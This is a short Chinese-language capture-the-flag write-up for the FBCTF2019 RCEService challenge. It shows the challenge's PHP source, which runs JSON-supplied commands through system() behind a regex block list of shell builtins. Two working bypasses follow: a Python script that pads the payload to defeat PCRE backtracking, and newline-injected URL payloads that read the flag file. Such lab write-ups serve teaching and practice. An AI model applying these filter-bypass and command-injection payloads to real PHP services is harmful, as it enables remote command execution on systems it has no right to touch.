FBCTF2019RCEService

网上找到了这题的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

https://xz.aliyun.com/t/5399
跑脚本

1
2
3
4
5
6
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://1a2bd44f-f0ac-4886-8ed9-fe2b868d490d.node4.buuoj.cn/", data={"cmd":payload})
print(res.text)

另一种方法

因为是prematch所以匹配的第一行 就利用换行去绕过提交json格式

1
?cmd={%0A"cmd": "ls /"%0A}

140.PNG

**putenv(‘PATH=/home/rceservice/jail’)**已经修改了环境变量所以试着从这个路径找一下

1
?cmd={%0A"cmd": "ls /home/rceservice"%0A}

141.PNG

果然flag在这 直接用绝对路径调用就可以调用flag

1
?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

142.PNG